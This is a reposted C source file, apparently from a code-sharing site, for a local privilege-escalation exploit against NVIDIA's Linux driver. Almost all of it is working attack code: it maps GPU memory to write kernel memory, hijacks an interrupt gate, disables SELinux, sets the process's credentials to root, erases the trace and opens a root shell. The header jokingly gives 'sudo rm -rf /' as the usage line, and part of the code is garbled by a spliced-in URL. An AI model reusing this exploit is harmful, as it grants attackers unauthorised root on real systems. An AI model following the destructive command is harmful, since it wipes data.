首页 > 代码库 > [fw]Nvidia Linux Drive Privilege Escalation

[fw]Nvidia Linux Drive Privilege Escalation

/* Anonymous * * How to use: sudo rm -rf / * * greetz: djrbliss, kad, Ac1dB1tch3z, nVidia! * * Only complete fix patch nvidia drivers and redefine * IS_BLACKLISTED_REG_OFFSET:#define IS_BLACKLISTED_REG_OFFSET(nv, offset, length) 1 */#define _GNU_SOURCE#include <fcntl.h>#include <sys/sysinfo.h>#include <stdint.h>#include <inttypes.h>#include <stdarg.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/wait.h>#include <sys/socket.h>#include <linux/netlink.h>#include <linux/inet_diag.h>#include <string.h>#include <sys/mman.h>#include <errno.h>#include <netinet/in.h>#include <dirent.h>#ifdef __x86_64__#define KERNEL_BASE 0xffffffff80000000L#else#define KERNEL_BASE 0xc0000000#endif#define ENTRY 0xdc#define inline __attribute__((always_inline))#ifdef __x86_64__#define __kernel#else#define __kernel __attribute__((regparm(3)))#endif#define __used __attribute((used))static unsigned long kernel_ofs_phys;static volatile uint32_t *cve_2012_YYYY;static void poke_byte(volatile uint32_t *m, uint32_t ofs, uint8_t val){	uint32_t i = (ofs & 3) * 8;	ofs >>= 2;	m[ofs] = (m[ofs] & ~(0xff << i)) | (val << i);}static void physread16(volatile uint32_t *m, uint32_t target, uint32_t *buffer){	if (1) {		uint32_t ofs = (target & 0x3ffff)/4, i;		if (target & 0xf) {			printf("[ ] Function requires 16-byte alignment for input!\n");			exit(-1);		}		cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);		memset(buffer, 0, 16);		for (i = 0; i < 4; ++i) {			uint32_t shift = i * 8;			poke_byte(cve_2012_YYYY, 0x204, i);			buffer[0] |= (m[ofs/4] & 0xff) << shift;			buffer[1] |= ((m[ofs/4] & 0xff00) >> 8) << shift;			buffer[2] |= ((m[ofs/4] & 0xff0000) >> 16) << shift;			buffer[3] |= ((m[ofs/4] & 0xff000000) >> 24) << shift;		}	}}static void physwrite16(volatile uint32_t *m, uint32_t target, uint32_t *buffer){	if (1) {		uint32_t i, ofs = (target & 0x3ffff)/4;		if (target & 0xf) {			printf("[ ] Function requires 16-byte alignment for output!\n");			exit(-1);		}		cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);		for (i = 0; i < 4; ++i) {			int shift = 8 * i;			uint32_t val;			poke_byte(cve_2012_YYYY, 0x102, 1<<i);			val = (buffer[0] >> shift) & 0xff;			val |= ((buffer[1] >> shift) & 0xff) << 8;			val |= ((buffer[2] >> shift) & 0xff) << 16;			val |= ((buffer[3] >> shift) & 0xff) << 24;			m[ofs/4] = val;		}	}}unsigned long virt2phys(unsigned long addr){	unsigned long phys;	addr &= ~KERNEL_BASE;	addr += kernel_ofs_phys;	phys = addr & 0xffffffff;	return phys;}// dest has to be 16-byte and slightly larger for unaligned readsvoid *kernel_read(volatile uint32_t *m, void *dest, unsigned long src, unsigned long len){	uint32_t rem, phys = virt2phys(src);	void *ret = dest + (src & 0xf);	rem = (-phys) & 0xf;	if (rem) {		physread16(m, phys & ~0xf, dest);		dest += 0x10;		phys += rem;		if (len > rem)			len -= rem;		else			len = 0;	}	for (; len; phys += 0x10, dest += 0x10, len -= len >= 16 ? 16 : len)		physread16(m, phys, dest);	return ret;}void kernel_write(volatile uint32_t *m, unsigned long dest, unsigned long src, unsigned long len){	uint32_t phys;	unsigned long remaining, towrite, i;	phys = virt2phys(dest);	if (!m || m == MAP_FAILED)		puts("not actually writing...");	if (1) {		remaining = len;		for (i = 0; i < len; i += 16) {			uint32_t buffer[4];			if (remaining < 16)				physread16(m, phys + i, (uint32_t*)buffer);			towrite = remaining > 16 ? 16 : remaining;			memcpy(buffer, (void*)(src + i), towrite);			physwrite16(m, phys + i, (uint32_t*)buffer);			remaining -= 16;		}	}}static void mode_x(volatile uint32_t *x) {	// http://wiki.osdev.org/VGA_Hardware Mode X	// 3c0	x[0x310/4] = 0x000f0041;	x[0x314/4] = 0;	// 3c2	x[0x000/4] = 0xe3;	// 3c4	x[0x100/4] = 0x000f0103;	x[0x104/4] = 0x06;	// 3ce	x[0x204/4] = 0x0f054000;	// 3d4	x[0x400/4] = 0x82504f5f;	x[0x404/4] = 0x3e0d8054;	poke_byte(x, 0x408, 0);	poke_byte(x, 0x409, 0x41);	x[0x410/4] = 0x28dfacea;	x[0x414/4] = 0xe306e700;}static int dirfilter(const struct dirent *d) {	return d->d_type == DT_LNK && strchr(d->d_name, ‘:‘);}static int nvidia_fd(uint64_t *res) {	struct dirent **list;	int fd, resfd, ret;	char buf[256];	ret = scandir("/sys/bus/pci/drivers/nvidia", &list, dirfilter, versionsort);	if (ret <= 0)		goto fail;	sprintf(buf, "/sys/bus/pci/drivers/nvidia/%s/resource", list[0]->d_name);	resfd = open(buf, O_RDONLY);	if (resfd < 0)		goto fail;	read(resfd, buf, sizeof(buf));	*res = strtoll(buf, NULL, 16);	close(resfd);	if ((fd = open("/dev/nvidia0", O_RDWR)) < 0)		goto fail;	return fd;fail:	perror("COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!");	*res = 0;	return -1;}volatile uint32_t *nvidia_handle(int fd, uint64_t res) {	// access 4 bytes at a time or things go weird	volatile uint32_t *m;	if (fd < 0)		return MAP_FAILED;	// I HAD TO LEARN VGA FOR THIS	m = cve_2012_YYYY = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, res + 0x619000);	if (m != MAP_FAILED) {		if ((m[0xf00/4] & 8) &&		    (m = mmap(NULL, 0x10000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, res + 0xa0000)) != MAP_FAILED) {			printf("[*] CVE-2012-YYYY\n");			mode_x(cve_2012_YYYY); // put into vga mode x, ish						return m;		}		munmap((void*)cve_2012_YYYY, 0x1000);		m = cve_2012_YYYY = MAP_FAILED;	}	return m;}static int tasknamelen;static char taskname[64];extern long gettask(void);extern long testgetroot(void);__used __kernel extern long callsetroot(long uid, long gid);#define FN(x) ".globl " x "\n\t.type " x ",@function\n\t" x ":\n\t.cfi_startproc\n\t"#define END ".cfi_endproc\n\t"asm(".text\n\t.align 4\n\t"FN("testgetroot")	// AND HAVE FUN! :D#ifdef __x86_64__	"swapgs\n\t"	"call getroot\n\t"	"swapgs\n\t"	"iretq\n\t"#else	"mov %fs, %edi\n\t"	"mov $0xd8, %esi\n\t"	"mov %esi, %fs\n\t"	"call getroot\n\t"	"mov %edi, %fs\n\t"	"iretl\n\t"#endifENDFN("gettask")#ifdef __x86_64__	// Grab some offsets from system_call	"mov $0xc0000082, %ecx\n\t"	"rdmsr\n\t"	"movslq %eax, %rax\n\t"	// Fuck optional alignment, fix it by looking for	// the start prefix of our lovely mov %gs:.. in system_call we just found	// this will get us kernel_stack, in which most cases it means that	// our current_task is right below it	// This is only needed if kallsyms fails	"1:\n\t"	"cmpw $0x4865, 0x3(%rax)\n\t"	"je 2f\n\t"	"incq %rax\n\t"	"jmp 1b\n\t"	"2:\n\t"	"movl 17(%rax), %edx\n\t"	// blegh padding	"3:\n\t"	"addl $8, %edx\n\t"	"movq %gs:(%edx), %rax\n\t"	"test %eax, %eax\n\t"	"jz 3b\n\t"	"cmpl $-1, %eax\n\t"	"je 3b\n\t"#else	// TODO: maybe..	"xor %eax, %eax\n\t"#endif	"ret\n\t"END#define S2(x) #x#define S1(x) S2(x)FN("callsetroot")#ifdef __x86_64__	"int $" S1(ENTRY) "\n\t"#else	"push %edi\n\t"	"push %esi\n\t"	"int $" S1(ENTRY) "\n\t"	"pop %esi\n\t"	"pop %edi\n\t"#endif	"ret\n\t"END".previous");struct kallsyms {	unsigned long *addresses;	unsigned long num_syms;	unsigned char *names;	unsigned long *markers;	unsigned char *token_table;	unsigned short *token_index;};// Memory layout kallsyms, all pointer aligned:// unsigned long addresses[num_kallsyms]// unsigned long num_kallsyms// unsigned char names[..]// unsigned long markers[(num_kallsyms + 0xff) >> 8] = { 0, ... }// char token_table[var...] = { null terminated strings }// unsigned short token_index[var?...] = { 0, ... };// This should probably work for 64-bits and 32-bits kernels// But only tested on 64-bits kernelsinline static long init_kallsyms(struct kallsyms *ks){	unsigned long start = KERNEL_BASE + 0x1000000L;	unsigned long *max = (void*)KERNEL_BASE + 0x2000000L;	unsigned long *cur;	for (cur = (void*)start; cur < max; cur += 2) {		if (*cur == start &&		    (cur[1] == start || cur[-1] == start))			goto unwind;	}	return -1;unwind:	while ((cur[0] & KERNEL_BASE) == KERNEL_BASE)		cur++;	ks->addresses = cur - *cur;	ks->num_syms = *(cur++);	ks->names = (unsigned char*)cur;	do { cur++; } while (*cur);	ks->markers = cur;	cur += (ks->num_syms + 0xff) >> 8;	ks->token_table = (unsigned char*)cur;	// Zero terminated string can create padding that could	// be interpreted as token_index, requiring the || !*cur	do { cur++; } while (*(unsigned short*)cur || !*cur);	ks->token_index = (unsigned short*)cur;	return (long)ks->num_syms;}#define KSYM_NAME_LEN 128inline static int kstrcmp(const char *x, const char *y){	for (;*x == *y; x++, y++)		if (!*x)			return 0;	return -1;}/* * kallsyms.c: in-kernel printing of symbolic oopses and stack traces. * * Rewritten and vastly simplified by Rusty Russell for in-kernel * module loader: *   Copyright 2002 Rusty Russell <rusty@rustcorp.com.au> IBM Corporation * * ChangeLog: * * (25/Aug/2004) Paulo Marques <pmarques@grupopie.com> *      Changed the compression method from stem compression to "table lookup" *      compression (see scripts/kallsyms.c for a more complete description) */inline static unsigned int kallsyms_expand_symbol(struct kallsyms *ks, unsigned int off, char *result){	int len, skipped_first = 0;	const unsigned char *tptr, *data;	/* Get the compressed symbol length from the first symbol byte. */	data = http://www.mamicode.com/&ks->names[off];"reset_security_ops";		char fntask[] = "current_task";		char fncred[] = "get_task_cred";		// SELINUX is overrated..		fn = (void*)kdlsym(&ks, fnops);		if (fn) fn();		// Get a more reliable offset to current_task if we can		task_offset = kdlsym(&ks, fntask);		if (task_offset)#ifdef __x86_64__			asm("mov %%gs:(%1), %0" : "=r"(task_struct) : "r"(task_offset));#else			asm("mov %%fs:(%1), %0" : "=r"(task_struct) : "r"(task_offset));#endif		else			task_struct = gettask();		if (!task_struct)			return -4;		fn1 = (void*)kdlsym(&ks, fncred);		if (fn1) {			j = fn1((void*)task_struct);			// And decrease refcount we just increased			asm("lock; decl (%0)" :: "r"(j));		}	}	else if (!ret)		task_struct = gettask();	else		return -ret;	if (!task_struct)		return -5;	// No kallsyms or no get_task_cred, manually try to find	if (!j) {		// all the creds are belong to us		for (i = 0; i < 0x1000; i += sizeof(void*)) {			p = (char *)(task_struct + i);			for (k = 0; k < tasknamelen; k++) {				if (p[k] != taskname[k])					break;			}			if (k == tasknamelen) {				cred = *(unsigned long *)((unsigned long)p - sizeof(unsigned long) * 2);				j = (int *)cred;				break;			}		}		if (!j)			return -1;	}	for (i = 0; i < 1000; i++, j++) {		if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid &&		    j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) {			/* uid, euid, suid, fsuid */			j[0] = j[1] = j[2] = j[3] = 0;			/* gid, egid, sgid, fsgid */			j[4] = j[5] = j[6] = j[7] = 0;			/* ALLCAPS!!111 */			j[10] = j[11] = 0xffffffff;			j[12] = j[13] = 0xffffffff;			j[14] = j[15] = 0xffffffff;			return 0;		}	}	return -2;}struct gdt{  uint16_t limit;  uint32_t base;}__attribute__((packed));static unsigned long getidt(){  struct gdt idt;  memset(&idt, 0x00, sizeof(struct gdt));  asm volatile("sidt %0" : "=m"(idt));  return idt.base | 0xFFFFFFFF00000000UL;}typedef struct gate_struct {        uint16_t offset_low;        uint16_t segment;        unsigned ist : 3, zero0 : 5, type : 5, dpl : 2, p : 1;        uint16_t offset_middle;#ifdef __x86_64__        uint32_t offset_high;        uint32_t zero1;#endif} __attribute__((packed)) gate_desc;enum {	GATE_INTERRUPT = 0xE,	GATE_TRAP = 0xF,	GATE_CALL = 0xC,	GATE_TASK = 0x5,};#define YES_PLEASE 3#define PTR_LOW(x) ((unsigned long)(x) & 0xFFFF)#define PTR_MIDDLE(x) (((unsigned long)(x) >> 16) & 0xFFFF)#define PTR_HIGH(x) ((unsigned long)(x) >> 32)#ifdef __x86_64__#define __KERNEL_CS 0x10#else#define __KERNEL_CS 0x60#endifvoid dump_gate(gate_desc *gate){#if 0	uint16_t *p = (void *)gate;	unsigned i;	for (i = 0; i < sizeof(*gate) / sizeof(uint16_t); i++)		printf("%04x\n", *p++);#endif}void dump_bytes(void *desc){	int i;	for (i = 0; i < 16; ++i) {		printf("%02x", ((char*)desc)[i]);		if (i < 15 && (i % 4) == 3)			printf(" ");	}	printf("\n");}static inline void pack_gate(gate_desc *gate, unsigned type, unsigned long func,                             unsigned dpl, unsigned ist, unsigned seg){	gate->offset_low = PTR_LOW(func);	gate->offset_middle = PTR_MIDDLE(func);	gate->segment = seg;	gate->ist = ist;	gate->p = 1;	gate->dpl = dpl;	gate->zero0 = 0;	gate->type = type;#ifdef __x86_64__	gate->offset_high = PTR_HIGH(func);	gate->zero1 = 0;#endif	dump_gate(gate);}// Test mode, not really an exploit, although it does// show the option to forbid physical memory is uselessstatic int devmem_fd(void){	int fd = open("/dev/mem", O_RDWR|O_SYNC);	if (fd < 0)		perror("/dev/mem");	return fd;}void *xalloc(unsigned long len){	void *ret = NULL;	posix_memalign(&ret, 16, ((len+0xf)&~0xf) + 16);	return ret;}void xfree(void *ptr){	free((void*)((unsigned long)ptr & ~0xfL));}int main(int argc, char * argv[]){	volatile uint32_t *handle = NULL;	long ret, i, found = 0;	char *p;	gate_desc gate, gate2[16/sizeof(gate_desc)];	uint32_t buf[4];	gate_desc *dp = (gate_desc*)buf;	uint8_t data[256];	uint64_t res = 0;	printf("[*] IDT offset at %#lx\n", getidt());	// syntax: --dumpmem BAR0, for debugging "cant find my kernel" issues as root	if (argc > 2 && (!strcmp(argv[1], "-d") || !strcmp(argv[1], "--dumpmem"))) {		res = strtoll(argv[2], NULL, 16);		handle = nvidia_handle(devmem_fd(), res);		for (i = 0; i < 0x4000000; i += 16) {			physread16(handle, i, (void*)data);			write(2, data, 16);		}		return 0;	} else if (argc > 1 && (res = strtoll(argv[1], NULL, 16))) {		handle = nvidia_handle(devmem_fd(), res);		if (!getuid()) {			setgid(1000);			setuid(1000);		}		if (handle == MAP_FAILED)			return -1;		printf("[*] Dry run with /dev/mem as uid %u gid %u...\n", getuid(), getgid());	}	if ((p = strchr(argv[0], ‘/‘)))		p++;	else		p = argv[0];	strcpy(taskname, p);	tasknamelen = strlen(taskname);	if (!handle || handle == MAP_FAILED) {		uint64_t res;		int fd = nvidia_fd(&res);		printf("[*] Abusing nVidia...\n");		handle = nvidia_handle(fd, res);		if (!handle || handle == MAP_FAILED)			return -1;	}	// X86_OF_ENTRY	unsigned long idtentry = getidt() + (2*sizeof(unsigned long)*4);	pack_gate(&gate, GATE_INTERRUPT, KERNEL_BASE, YES_PLEASE, 0, __KERNEL_CS);	for (i = 0; i < 256; ++i) {		kernel_ofs_phys = i * 1024 * 1024;		physread16(handle, virt2phys(idtentry), buf);		// Copy offsets since we don‘t really care about them		gate.offset_low = dp->offset_low;		gate.offset_middle = dp->offset_middle;#ifndef __x86_64__		gate.segment = dp->segment;		if (*(uint64_t*)&dp[1] == 0x00000000ffffffffULL) {			printf("[X] 64-bits kernel found at ofs %lx\n", kernel_ofs_phys);			printf("[X] Compiled for 32-bits only\n");			continue;		}#endif		if (!memcmp(&gate, dp, sizeof(*dp))) {			printf("[*] %zu-bits Kernel found at ofs %lx\n", sizeof(void*)*8, kernel_ofs_phys);			found = 1;			break;		}	}	if (!found) {		printf("[X] No kernel found! >:(\n");		return -1;	}	idtentry = getidt() + (2*sizeof(unsigned long)*ENTRY);	printf("[*] Using IDT entry: %d (%#lx)\n", ENTRY, idtentry);	physread16(handle, virt2phys(idtentry), buf);	dump_gate(dp);	printf("[*] Enhancing gate entry...\n");	pack_gate(&gate, GATE_INTERRUPT, (uintptr_t)&(testgetroot), YES_PLEASE, 0, __KERNEL_CS);	kernel_write(handle, idtentry, (unsigned long)&gate, sizeof(gate));	physread16(handle, virt2phys(idtentry), (uint32_t*)gate2);	if (memcmp(&gate, gate2, sizeof(gate))) {		printf("[ ] Failed!\n");		return -1;	}	printf("[*] Triggering payload...\n");	ret = callsetroot(getuid(), getgid());	// And restore old one, I‘m kind like that	printf("[*] Hiding evidence...\n");	kernel_write(handle, idtentry, (unsigned long)dp, sizeof(*dp));	if (ret)		printf("callsetroot returned %lx (%li)\n", ret, ret);	if (getuid()) {		printf("[*] Failed to get root.\n");		return -1;	}	printf("[*] Have root, will travel..\n");	execl("/bin/bash", "sh", NULL);	perror("/bin/bash");	return 1;}